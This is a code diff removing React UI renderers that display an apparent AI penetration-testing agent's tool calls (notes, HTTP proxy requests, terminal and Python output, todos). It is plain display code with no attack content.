// depending on the tool call, so normalize both to a clean list.
|
||||
const raw = args.skills;
|
||||
const requestedSkills = (Array.isArray(raw) ? raw : String(raw ?? "").split(","))
|
||||
.map((skill) => String(skill).trim())
|
||||
.filter(Boolean);
|
||||
|
||||
return (
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-emerald-400/80 font-semibold text-sm">Loading skill</span>
|
||||
{requestedSkills.length > 0 && (
|
||||
<span className="text-[#888] text-[13px]">{requestedSkills.join(", ")}</span>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,24 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import ReactMarkdown from "react-markdown";
|
||||
import remarkGfm from "remark-gfm";
|
||||
import { rehypeCodeMeta, mdComponents } from "@/components/vulnerability/MdCodeBlock";
|
||||
|
||||
interface MarkdownProps {
|
||||
text: string;
|
||||
className?: string;
|
||||
}
|
||||
|
||||
export default function Markdown({ text, className = "" }: MarkdownProps) {
|
||||
return (
|
||||
<div className={`prose-markdown ${className}`}>
|
||||
<ReactMarkdown
|
||||
remarkPlugins={[remarkGfm]}
|
||||
rehypePlugins={[rehypeCodeMeta]}
|
||||
components={mdComponents}
|
||||
>
|
||||
{text}
|
||||
</ReactMarkdown>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,87 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import Markdown from "./Markdown";
|
||||
|
||||
export default function NotesRenderer({ toolName, args, result }: ToolRendererProps) {
|
||||
if (toolName === "create_note") {
|
||||
const title = (args.title as string) ?? "";
|
||||
const content = (args.content as string) ?? "";
|
||||
const category = (args.category as string) ?? "general";
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-amber-400/80 font-semibold text-sm">note</span>
|
||||
<span className="text-[#555] text-[13px]">({category})</span>
|
||||
</div>
|
||||
{title && <div className="mt-1.5 text-[#999] text-[13px]">{title}</div>}
|
||||
{content && <div className="mt-1"><Markdown text={content} /></div>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (toolName === "delete_note") {
|
||||
return <span className="text-amber-400/80 font-semibold text-sm">note removed</span>;
|
||||
}
|
||||
|
||||
if (toolName === "update_note") {
|
||||
const title = (args.title as string) ?? "";
|
||||
const content = (args.content as string) ?? "";
|
||||
return (
|
||||
<div>
|
||||
<span className="text-amber-400/80 font-semibold text-sm">note updated</span>
|
||||
{title && <div className="mt-1.5 text-[#999] text-[13px]">{title}</div>}
|
||||
{content && <div className="mt-1"><Markdown text={content} /></div>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (toolName === "get_note") {
|
||||
const res = result as Record<string, unknown> | null;
|
||||
const note = res && typeof res === "object" && res.success
|
||||
? (res.note as Record<string, string> | undefined)
|
||||
: undefined;
|
||||
return (
|
||||
<div>
|
||||
<span className="text-amber-400/80 font-semibold text-sm">note read</span>
|
||||
{note && (
|
||||
<>
|
||||
<div className="mt-1.5 text-[#999] text-[13px]">
|
||||
{note.title ?? "(untitled)"}
|
||||
<span className="text-[#555] ml-1">({note.category ?? "general"})</span>
|
||||
</div>
|
||||
{note.content && <div className="mt-1"><Markdown text={note.content} /></div>}
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
if (toolName === "list_notes") {
|
||||
const res = result as Record<string, unknown> | null;
|
||||
let notes: Array<Record<string, string>> = [];
|
||||
if (res && typeof res === "object" && res.success) {
|
||||
const rawNotes = res.notes;
|
||||
notes = Array.isArray(rawNotes) ? rawNotes as Array<Record<string, string>> : [];
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<span className="text-amber-400/80 font-semibold text-sm">notes</span>
|
||||
{notes.length > 0 ? (
|
||||
<div className="mt-1.5 space-y-0.5">
|
||||
{notes.map((n, i) => (
|
||||
<div key={i} className="text-[13px]">
|
||||
<span className="text-[#555] mr-1">-</span>
|
||||
<span className="text-[#999]">{n.title ?? "(untitled)"}</span>
|
||||
<span className="text-[#555] ml-1">({n.category ?? "general"})</span>
|
||||
{n.content && <div className="ml-3"><Markdown text={n.content} /></div>}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
) : <div className="mt-1 text-[#555] text-xs">No notes</div>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
return <span className="text-amber-400/80 font-semibold text-sm">note</span>;
|
||||
}
|
||||
@@ -1,250 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import { CodeBlock } from "./ToolCard";
|
||||
|
||||
const MAX_LINE_LENGTH = 200;
|
||||
|
||||
const METHOD_COLORS: Record<string, string> = {
|
||||
GET: "text-emerald-400/80", POST: "text-blue-400/80", PUT: "text-yellow-400/80",
|
||||
PATCH: "text-orange-400/80", DELETE: "text-red-400/80",
|
||||
};
|
||||
|
||||
function statusColor(code: number): string {
|
||||
if (code < 300) return "text-emerald-400/80";
|
||||
if (code < 400) return "text-yellow-400/80";
|
||||
if (code < 500) return "text-orange-400/80";
|
||||
return "text-red-400/80";
|
||||
}
|
||||
|
||||
/** Hard truncate with trailing "..." */
|
||||
function trunc(text: string, maxLen = 80): string {
|
||||
return text.length > maxLen ? text.slice(0, maxLen - 3) + "..." : text;
|
||||
}
|
||||
|
||||
/** Replace newlines/tabs, then truncate */
|
||||
function sanitize(text: string, maxLen = 150): string {
|
||||
return trunc(text.replace(/\n/g, " ").replace(/\r/g, "").replace(/\t/g, " "), maxLen);
|
||||
}
|
||||
|
||||
/** Limit body to maxLines, each truncated to MAX_LINE_LENGTH-5; returns display string */
|
||||
function limitBody(body: string, maxLines: number): string {
|
||||
const lines = body.split("\n");
|
||||
const display = lines.slice(0, maxLines).map(l => trunc(l, MAX_LINE_LENGTH - 5)).join("\n");
|
||||
return lines.length > maxLines ? display + "\n..." : display;
|
||||
}
|
||||
|
||||
function ListRequests({ args, result }: ToolRendererProps) {
|
||||
const filter = (args.httpql_filter as string) ?? "";
|
||||
const res = result as Record<string, unknown> | null;
|
||||
const rawReqs = res ? res.requests : null;
|
||||
const requests = Array.isArray(rawReqs) ? rawReqs as Array<Record<string, unknown>> : [];
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-purple-400/80 font-semibold text-sm">listing requests</span>
|
||||
{filter && <span className="text-[#888] text-[13px]">{trunc(filter, 150)}</span>}
|
||||
</div>
|
||||
{requests.length > 0 && (
|
||||
<div className="mt-1.5 font-mono text-[13px] space-y-0.5">
|
||||
{requests.slice(0, 20).map((r, i) => {
|
||||
const m = ((r.method as string) ?? "GET").toUpperCase();
|
||||
const host = (r.host as string) ?? "";
|
||||
const path = (r.path as string) ?? "";
|
||||
const resp = r.response as Record<string, unknown> | undefined;
|
||||
const sc = (resp?.statusCode as number) ?? null;
|
||||
return (
|
||||
<div key={i} className="flex gap-2">
|
||||
<span className={`w-10 shrink-0 font-bold ${METHOD_COLORS[m] ?? "text-[#888]"}`}>{m}</span>
|
||||
<span className="text-[#777] truncate">{trunc(host + path, 180)}</span>
|
||||
{sc != null && <span className={`ml-auto shrink-0 ${statusColor(sc)}`}>{sc}</span>}
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
{requests.length > 20 && <div className="text-[#555]">... +{requests.length - 20} more</div>}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function ViewRequest({ args, result }: ToolRendererProps) {
|
||||
const requestId = args.request_id as number | undefined;
|
||||
const part = (args.part as string) ?? "request";
|
||||
const searchPattern = (args.search_pattern as string) ?? "";
|
||||
const res = result as Record<string, unknown> | null;
|
||||
const rawMatches = res ? res.matches : null;
|
||||
const matches = Array.isArray(rawMatches) ? rawMatches as Array<Record<string, string>> : [];
|
||||
const content = res ? (res.content as string) ?? null : null;
|
||||
const hasMore = res ? !!(res.has_more) : false;
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-purple-400/80 font-semibold text-sm">{searchPattern ? "searching" : "viewing"} {part}</span>
|
||||
{requestId != null && <span className="text-[#888] text-[13px]">#{requestId}</span>}
|
||||
{searchPattern && <span className="text-[#666] font-mono text-[13px]">/{trunc(searchPattern, 100)}/</span>}
|
||||
</div>
|
||||
{matches.length > 0 && (
|
||||
<div className="mt-1.5 font-mono text-[13px] space-y-1">
|
||||
{matches.slice(0, 5).map((m, i) => {
|
||||
// Sanitize context: replace newlines with space, trim to 100 chars
|
||||
const before = ((m.before ?? "").replace(/\n/g, " ").replace(/\r/g, "")).slice(-100);
|
||||
const after = ((m.after ?? "").replace(/\n/g, " ").replace(/\r/g, "")).slice(0, 100);
|
||||
return (
|
||||
<div key={i}>
|
||||
{before && <span className="text-[#555]">...{before}</span>}
|
||||
<span className="text-amber-400/80 font-bold">{m.match}</span>
|
||||
{after && <span className="text-[#555]">{after}...</span>}
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
{matches.length > 5 && <div className="text-[#555]">... +{matches.length - 5} more matches</div>}
|
||||
</div>
|
||||
)}
|
||||
{content && !matches.length && (() => {
|
||||
const lines = content.split("\n");
|
||||
const display = lines.slice(0, 15).map(l => trunc(l, MAX_LINE_LENGTH)).join("\n");
|
||||
const showMore = hasMore || lines.length > 15;
|
||||
return (
|
||||
<CodeBlock className="text-[#666]">
|
||||
{display + (showMore ? "\n... more content available" : "")}
|
||||
</CodeBlock>
|
||||
);
|
||||
})()}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function SendRequest({ args, result }: ToolRendererProps) {
|
||||
const method = ((args.method as string) ?? "GET").toUpperCase();
|
||||
const url = (args.url as string) ?? "";
|
||||
const headers = args.headers as Record<string, string> | undefined;
|
||||
const rawBody = args.body;
|
||||
const reqBody = typeof rawBody === "string" ? rawBody : "";
|
||||
const res = result as Record<string, unknown> | null;
|
||||
const error = res ? (res.error as string) ?? null : null;
|
||||
const statusCode = res ? (res.status_code as number) ?? null : null;
|
||||
const responseTime = res ? (res.response_time_ms as number) ?? null : null;
|
||||
const rawResBody = res ? res.body : null;
|
||||
const resBody = typeof rawResBody === "string" ? rawResBody : null;
|
||||
|
||||
return (
|
||||
<div>
|
||||
<span className="text-purple-400/80 font-semibold text-sm">request</span>
|
||||
<div className="mt-1.5 font-mono text-[13px] space-y-0.5">
|
||||
<div>
|
||||
<span className="text-[#555] select-none mr-1">>></span>
|
||||
<span className={`font-bold ${METHOD_COLORS[method] ?? "text-[#888]"}`}>{method}</span>
|
||||
<span className="text-[#888] ml-1 break-all">{trunc(url, 180)}</span>
|
||||
</div>
|
||||
{headers && typeof headers === "object" && Object.entries(headers).slice(0, 5).map(([k, v]) => (
|
||||
<div key={k} className="text-[#555] pl-5">{k}: {sanitize(String(v), 150)}</div>
|
||||
))}
|
||||
</div>
|
||||
{reqBody && (
|
||||
<CodeBlock className="text-[#888]">{limitBody(reqBody, 4)}</CodeBlock>
|
||||
)}
|
||||
{error && <div className="text-red-400/70 text-[13px] mt-1.5">{sanitize(error, 150)}</div>}
|
||||
{statusCode != null && (
|
||||
<div className="font-mono text-[13px] mt-1.5">
|
||||
<span className="text-[#555] select-none mr-1"><<</span>
|
||||
<span className={`font-bold ${statusColor(statusCode)}`}>{statusCode}</span>
|
||||
{responseTime != null && <span className="text-[#555] ml-2">{responseTime}ms</span>}
|
||||
</div>
|
||||
)}
|
||||
{resBody && (
|
||||
<CodeBlock className="text-[#666]">{limitBody(resBody, 6)}</CodeBlock>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function RepeatRequest({ args, result }: ToolRendererProps) {
|
||||
const requestId = args.request_id as number | undefined;
|
||||
const modifications = args.modifications as Record<string, unknown> | undefined;
|
||||
const res = result as Record<string, unknown> | null;
|
||||
const statusCode = res ? (res.status_code as number) ?? null : null;
|
||||
const responseTime = res ? (res.response_time_ms as number) ?? null : null;
|
||||
const rawRepBody = res ? res.body : null;
|
||||
const resBody = typeof rawRepBody === "string" ? rawRepBody : null;
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-purple-400/80 font-semibold text-sm">repeating request</span>
|
||||
{requestId != null && <span className="text-[#888] text-[13px]">#{requestId}</span>}
|
||||
</div>
|
||||
{modifications && typeof modifications === "object" && Object.keys(modifications).length > 0 && (
|
||||
<div className="mt-1.5 font-mono text-[13px] space-y-0.5">
|
||||
{Object.entries(modifications).slice(0, 5).map(([k, v]) => (
|
||||
<div key={k}><span className="text-orange-400/60">{k}:</span> <span className="text-[#777]">{sanitize(typeof v === "string" ? v : JSON.stringify(v), 150)}</span></div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
{statusCode != null && (
|
||||
<div className="font-mono text-[13px] mt-1.5">
|
||||
<span className="text-[#555] select-none mr-1"><<</span>
|
||||
<span className={`font-bold ${statusColor(statusCode)}`}>{statusCode}</span>
|
||||
{responseTime != null && <span className="text-[#555] ml-2">{responseTime}ms</span>}
|
||||
</div>
|
||||
)}
|
||||
{resBody && (
|
||||
<CodeBlock className="text-[#666]">{limitBody(resBody, 5)}</CodeBlock>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const SCOPE_ACTION: Record<string, string> = {
|
||||
get: "getting", list: "listing", create: "creating", update: "updating", delete: "deleting",
|
||||
};
|
||||
|
||||
function ScopeRules({ args }: ToolRendererProps) {
|
||||
const action = (args.action as string) ?? "";
|
||||
const scopeName = (args.scope_name as string) ?? "";
|
||||
const label = SCOPE_ACTION[action] ?? (action ? action : "managing");
|
||||
return (
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-purple-400/80 font-semibold text-sm">{label} proxy scope</span>
|
||||
{scopeName && <span className="text-[#888] text-[13px]">{trunc(scopeName, 50)}</span>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function ListSitemap({ args }: ToolRendererProps) {
|
||||
const parentId = args.parent_id as string | undefined;
|
||||
return (
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-purple-400/80 font-semibold text-sm">listing sitemap</span>
|
||||
{parentId && <span className="text-[#888] text-[13px]">under #{trunc(String(parentId), 20)}</span>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function ViewSitemapEntry({ args }: ToolRendererProps) {
|
||||
const entryId = args.entry_id as string | undefined;
|
||||
return (
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-purple-400/80 font-semibold text-sm">viewing sitemap entry</span>
|
||||
{entryId && <span className="text-[#888] text-[13px]">#{trunc(String(entryId), 20)}</span>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function ProxyRenderer(props: ToolRendererProps) {
|
||||
switch (props.toolName) {
|
||||
case "list_requests": return <ListRequests {...props} />;
|
||||
case "view_request": return <ViewRequest {...props} />;
|
||||
case "send_request": return <SendRequest {...props} />;
|
||||
case "repeat_request": return <RepeatRequest {...props} />;
|
||||
case "scope_rules": return <ScopeRules {...props} />;
|
||||
case "list_sitemap": return <ListSitemap {...props} />;
|
||||
case "view_sitemap_entry": return <ViewSitemapEntry {...props} />;
|
||||
default:
|
||||
return (
|
||||
<span className="text-purple-400/80 font-semibold text-sm">{props.toolName.replace(/_/g, " ")}</span>
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -1,68 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import { CodeBlock, SyntaxBlock } from "./ToolCard";
|
||||
|
||||
const MAX_OUTPUT_LINES = 50;
|
||||
const MAX_LINE_LENGTH = 200;
|
||||
const HEAD = 25;
|
||||
const TAIL = 24;
|
||||
|
||||
// Full ANSI escape sequence pattern (matches Python's ANSI_PATTERN)
|
||||
const ANSI_PATTERN = /\x1b(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~]|\][^\x07]*\x07)/g;
|
||||
|
||||
// Strips truncation notices added by Python executor
|
||||
const STRIP_PATTERN = /\.\.\. \[(stdout|stderr|result|output|error) truncated at \d+k? chars\]/g;
|
||||
|
||||
function stripAnsi(text: string): string {
|
||||
return text.replace(ANSI_PATTERN, "");
|
||||
}
|
||||
|
||||
function truncateLine(line: string): string {
|
||||
const clean = stripAnsi(line);
|
||||
if (clean.length > MAX_LINE_LENGTH) return clean.slice(0, MAX_LINE_LENGTH - 3) + "...";
|
||||
return clean;
|
||||
}
|
||||
|
||||
function cleanOutput(output: string): string {
|
||||
return output.replace(STRIP_PATTERN, "").trim();
|
||||
}
|
||||
|
||||
function formatOutput(output: string): string {
|
||||
const lines = output.split("\n");
|
||||
if (lines.length <= MAX_OUTPUT_LINES) return lines.map(truncateLine).join("\n");
|
||||
const hiddenCount = lines.length - HEAD - TAIL;
|
||||
return [
|
||||
...lines.slice(0, HEAD).map(truncateLine),
|
||||
`... ${hiddenCount} lines truncated ...`,
|
||||
...lines.slice(-TAIL).map(truncateLine),
|
||||
].join("\n");
|
||||
}
|
||||
|
||||
export default function PythonRenderer({ args, result }: ToolRendererProps) {
|
||||
const action = (args.action as string) ?? "";
|
||||
const code = (args.code as string) ?? (args.script as string) ?? "";
|
||||
|
||||
const res = result as Record<string, unknown> | string | null;
|
||||
let stdout: string | null = null;
|
||||
if (res && typeof res === "object") stdout = typeof res.stdout === "string" ? res.stdout : null;
|
||||
else if (typeof res === "string") stdout = res;
|
||||
|
||||
const subtitle =
|
||||
action === "new_session" ? "new session" :
|
||||
action === "close" ? "close session" :
|
||||
action === "list_sessions" ? "list sessions" : null;
|
||||
|
||||
const output = stdout ? formatOutput(cleanOutput(stdout)) : null;
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-yellow-400/80 font-semibold text-sm">Python</span>
|
||||
{subtitle && <span className="text-[#888] text-[13px]">{subtitle}</span>}
|
||||
</div>
|
||||
{code && <SyntaxBlock code={code} language="python" collapsible />}
|
||||
{output && <CodeBlock className="text-[#666]">{output}</CodeBlock>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,46 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import { TruncatedText } from "./ToolCard";
|
||||
|
||||
function ScanStartInfo({ args }: ToolRendererProps) {
|
||||
const rawTargets = args.targets;
|
||||
const targets = Array.isArray(rawTargets) ? rawTargets : [];
|
||||
const targetNames = targets.map((t) => (typeof t === "object" && t ? (t.original as string) ?? null : null)).filter(Boolean) as string[];
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-emerald-400/80 font-semibold text-sm">Starting penetration test</span>
|
||||
{targetNames.length === 1 && <span className="text-[#888] text-[13px]">on {targetNames[0]}</span>}
|
||||
</div>
|
||||
{targetNames.length > 1 && (
|
||||
<div className="mt-1.5 space-y-0.5">
|
||||
{targetNames.map((t, i) => (
|
||||
<div key={i} className="text-[13px] text-[#888]"><span className="text-[#555] mr-1">•</span>{t}</div>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function SubagentStartInfo({ args }: ToolRendererProps) {
|
||||
const name = (args.name as string) ?? "Unknown Agent";
|
||||
const task = (args.task as string) ?? "";
|
||||
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-[#888] text-[13px]">subagent</span>
|
||||
<span className="text-purple-400 font-semibold text-sm">{name}</span>
|
||||
</div>
|
||||
{task && <div className="mt-1.5"><TruncatedText text={task} maxLines={15} /></div>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function ScanInfoRenderer(props: ToolRendererProps) {
|
||||
if (props.toolName === "subagent_start_info") return <SubagentStartInfo {...props} />;
|
||||
return <ScanStartInfo {...props} />;
|
||||
}
|
||||
@@ -1,131 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import { CodeBlock, SyntaxBlock } from "./ToolCard";
|
||||
|
||||
const MAX_OUTPUT_LINES = 50;
|
||||
const MAX_LINE_LENGTH = 200;
|
||||
const HEAD = 25;
|
||||
const TAIL = 24;
|
||||
|
||||
const STRIP_PATTERNS: RegExp[] = [
|
||||
/\n?\[Command still running after [\d.]+s - showing output so far\.?\s*(?:Use C-c to interrupt if needed\.)?\]/g,
|
||||
/^\[Below is the output of the previous command\.\]\n?/gm,
|
||||
/^No command is currently running\. Cannot send input\.$/gm,
|
||||
/^A command is already running\. Use is_input=true to send input to it, or interrupt it first \(e\.g\., with C-c\)\.$/gm,
|
||||
];
|
||||
|
||||
// Terminal-tool chunk metadata (the OSS engine's shell tool prepends these; the
|
||||
// TUI strips them in strix/interface/tui/renderers/shell_renderer.py). Only a
|
||||
// contiguous block anchored on a "Chunk ID:" line is stripped, so identical
|
||||
// text inside real command output is left untouched.
|
||||
const CHUNK_PREAMBLE_START = /^Chunk ID: [0-9a-f]+\s*$/;
|
||||
const CHUNK_PREAMBLE_METADATA: RegExp[] = [
|
||||
/^Wall time: [\d.]+ seconds\s*$/,
|
||||
/^Process exited with code -?\d+\s*$/,
|
||||
/^Process running with session ID \d+\s*$/,
|
||||
/^Original token count: \d+\s*$/,
|
||||
];
|
||||
|
||||
function stripChunkPreambles(lines: string[]): string[] {
|
||||
const out: string[] = [];
|
||||
for (let i = 0; i < lines.length; i++) {
|
||||
if (CHUNK_PREAMBLE_START.test(lines[i])) {
|
||||
let j = i + 1;
|
||||
while (j < lines.length && CHUNK_PREAMBLE_METADATA.some((p) => p.test(lines[j]))) j++;
|
||||
if (j < lines.length && lines[j].trim() === "Output:") j++;
|
||||
i = j - 1;
|
||||
continue;
|
||||
}
|
||||
out.push(lines[i]);
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
function escapeRegex(s: string): string {
|
||||
return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
|
||||
}
|
||||
|
||||
function truncateLine(line: string): string {
|
||||
if (line.length > MAX_LINE_LENGTH) return line.slice(0, MAX_LINE_LENGTH - 3) + "...";
|
||||
return line;
|
||||
}
|
||||
|
||||
function cleanOutput(raw: string, command: string = ""): string {
|
||||
// Strip ANSI escape sequences and carriage returns
|
||||
let cleaned = raw.replace(/\x1b(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~]|\][^\x07]*\x07)/g, "").replace(/\r/g, "");
|
||||
|
||||
for (const pattern of STRIP_PATTERNS) {
|
||||
cleaned = cleaned.replace(pattern, "");
|
||||
}
|
||||
|
||||
if (cleaned.trim()) {
|
||||
const lines = stripChunkPreambles(cleaned.split("\n"));
|
||||
const filtered: string[] = [];
|
||||
for (const line of lines) {
|
||||
// Skip leading blank lines
|
||||
if (filtered.length === 0 && !line.trim()) continue;
|
||||
// Skip [STRIX_N]$ prompt lines
|
||||
if (/^\[STRIX_\d+\]\$\s*/.test(line)) continue;
|
||||
// Skip echoed command (plain)
|
||||
if (command && line.trim() === command.trim()) continue;
|
||||
// Skip echoed command with $/#/> prefix
|
||||
if (command && new RegExp(`^[\\$#>]\\s*${escapeRegex(command.trim())}\\s*$`).test(line)) continue;
|
||||
filtered.push(line);
|
||||
}
|
||||
// Strip trailing [STRIX_N]$ lines
|
||||
while (filtered.length > 0 && /^\[STRIX_\d+\]\$\s*/.test(filtered[filtered.length - 1])) {
|
||||
filtered.pop();
|
||||
}
|
||||
cleaned = filtered.join("\n");
|
||||
}
|
||||
|
||||
return cleaned.trim();
|
||||
}
|
||||
|
||||
function formatOutput(output: string): string {
|
||||
const lines = output.split("\n");
|
||||
if (lines.length <= MAX_OUTPUT_LINES) return lines.map(truncateLine).join("\n");
|
||||
const hiddenCount = lines.length - HEAD - TAIL;
|
||||
return [
|
||||
...lines.slice(0, HEAD).map(truncateLine),
|
||||
`... ${hiddenCount} lines truncated ...`,
|
||||
...lines.slice(-TAIL).map(truncateLine),
|
||||
].join("\n");
|
||||
}
|
||||
|
||||
export default function TerminalRenderer({ toolName, args, result }: ToolRendererProps) {
|
||||
const isStdin = toolName === "write_stdin";
|
||||
const command = isStdin
|
||||
? ((args.chars as string) ?? (args.input as string) ?? "")
|
||||
: ((args.command as string) ?? (args.cmd as string) ?? "");
|
||||
|
||||
const res = result as Record<string, unknown> | string | null;
|
||||
let content: string | null = null;
|
||||
let error: string | null = null;
|
||||
let exitCode: number | null = null;
|
||||
|
||||
if (res && typeof res === "object") {
|
||||
content = typeof res.content === "string" ? res.content : null;
|
||||
error = typeof res.error === "string" ? res.error : null;
|
||||
exitCode = typeof res.exit_code === "number" ? res.exit_code : null;
|
||||
const s = typeof res.status === "string" ? res.status : "";
|
||||
if (s === "running" || s === "command still running") content = null;
|
||||
} else if (typeof res === "string") {
|
||||
content = res;
|
||||
}
|
||||
|
||||
const output = content ? formatOutput(cleanOutput(content, command)) : null;
|
||||
|
||||
return (
|
||||
<div>
|
||||
<span className="text-emerald-400/80 font-semibold text-sm">{isStdin ? "Terminal input" : "Terminal"}</span>
|
||||
{command && <SyntaxBlock code={command} language="bash" collapsible />}
|
||||
{error && <CodeBlock className="text-red-400/70">{error}</CodeBlock>}
|
||||
{output && <CodeBlock className="text-[#666]">{output}</CodeBlock>}
|
||||
{exitCode != null && exitCode !== 0 && (
|
||||
<div className="font-mono text-[13px] text-red-400/70 mt-0.5">exit code {exitCode}</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,18 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import { TruncatedText } from "./ToolCard";
|
||||
|
||||
export default function ThinkRenderer({ args }: ToolRendererProps) {
|
||||
const thought = (args.thought as string) ?? (args.content as string) ?? "";
|
||||
if (!thought) return null;
|
||||
|
||||
return (
|
||||
<div>
|
||||
<span className="text-purple-400/80 font-semibold text-sm">Agent is thinking</span>
|
||||
<div className="mt-1.5 italic text-[#888]">
|
||||
<TruncatedText text={thought} maxLines={20} />
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -1,120 +0,0 @@
|
||||
"use client";
|
||||
|
||||
import type { ToolRendererProps } from "@/types/events";
|
||||
import { Circle, CircleDot, CircleCheckBig, Trash2, Plus, RefreshCw, CheckCheck, RotateCcw, Pencil } from "lucide-react";
|
||||
|
||||
interface TodoItem {
|
||||
id?: string;
|
||||
title?: string;
|
||||
status?: string;
|
||||
}
|
||||
|
||||
const ACTION_LABELS: Record<string, { label: string; Icon: typeof Circle }> = {
|
||||
create_todo: { label: "Task added", Icon: Plus },
|
||||
list_todos: { label: "Plan", Icon: CheckCheck },
|
||||
update_todo: { label: "Task updated", Icon: Pencil },
|
||||
mark_todo_done: { label: "Task completed", Icon: CircleCheckBig },
|
||||
mark_todo_pending: { label: "Task reopened", Icon: RotateCcw },
|
||||
delete_todo: { label: "Task removed", Icon: Trash2 },
|
||||
};
|
||||
|
||||
function StatusIcon({ status }: { status: string }) {
|
||||
if (status === "done") return <CircleCheckBig className="w-3.5 h-3.5 text-emerald-400/70 shrink-0" />;
|
||||
if (status === "in_progress") return <CircleDot className="w-3.5 h-3.5 text-purple-400/70 shrink-0 animate-pulse" />;
|
||||
return <Circle className="w-3.5 h-3.5 text-[#444] shrink-0" />;
|
||||
}
|
||||
|
||||
function TodoList({ todos, highlightId }: { todos: TodoItem[]; highlightId?: string }) {
|
||||
return (
|
||||
<div className="space-y-0">
|
||||
{todos.map((todo, i) => {
|
||||
const s = todo.status ?? "pending";
|
||||
const isHighlighted = highlightId && todo.id === highlightId;
|
||||
return (
|
||||
<div
|
||||
key={todo.id ?? i}
|
||||
className={`flex items-start gap-2.5 py-1.5 px-2 -mx-2 rounded-md transition-colors ${
|
||||
isHighlighted ? "bg-purple-500/[0.08]" : ""
|
||||
}`}
|
||||
>
|
||||
<div className="mt-[1px]">
|
||||
<StatusIcon status={s} />
|
||||
</div>
|
||||
<span
|
||||
className={`text-[13px] leading-snug ${
|
||||
s === "done"
|
||||
? "text-[#555] line-through"
|
||||
: s === "in_progress"
|
||||
? "text-[#bbb]"
|
||||
: "text-[#999]"
|
||||
}`}
|
||||
>
|
||||
{todo.title ?? "(untitled)"}
|
||||
</span>
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export default function TodoRenderer({ toolName, args, result }: ToolRendererProps) {
|
||||
const action = ACTION_LABELS[toolName] ?? { label: "Plan", Icon: RefreshCw };
|
||||
const ActionIcon = action.Icon;
|
||||
const res = result as Record<string, unknown> | string | null;
|
||||
|
||||
// Simple string result
|
||||
if (typeof res === "string" && res.trim()) {
|
||||
return (
|
||||
<div>
|
||||
<div className="flex items-center gap-2">
|
||||
<ActionIcon className="w-3.5 h-3.5 text-purple-400/60" />
|
||||
<span className="text-purple-400/80 font-semibold text-sm">{action.label}</span>
|
||||
</div>
|
||||
<div className="mt-1.5 text-[#888] text-[13px]">{res.trim()}</div>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// Parse structured result
|
||||
let todos: TodoItem[] = [];
|
||||
let error: string | null = null;
|
||||
let todoId: string | undefined;
|
||||
|
||||
if (res && typeof res === "object") {
|
||||
error = (res.error as string) ?? null;
|
||||
if (res.success) {
|
||||
const rawTodos = res.todos;
|
||||
todos = Array.isArray(rawTodos) ? (rawTodos as TodoItem[]) : [];
|
||||
}
|
||||
todoId = (res.id as string) ?? (args.todo_id as string) ?? undefined;
|
||||
}
|
||||
|
||||
// For mutations, highlight the affected item
|
||||
const highlightId = toolName !== "list_todos" ? todoId : undefined;
|
||||
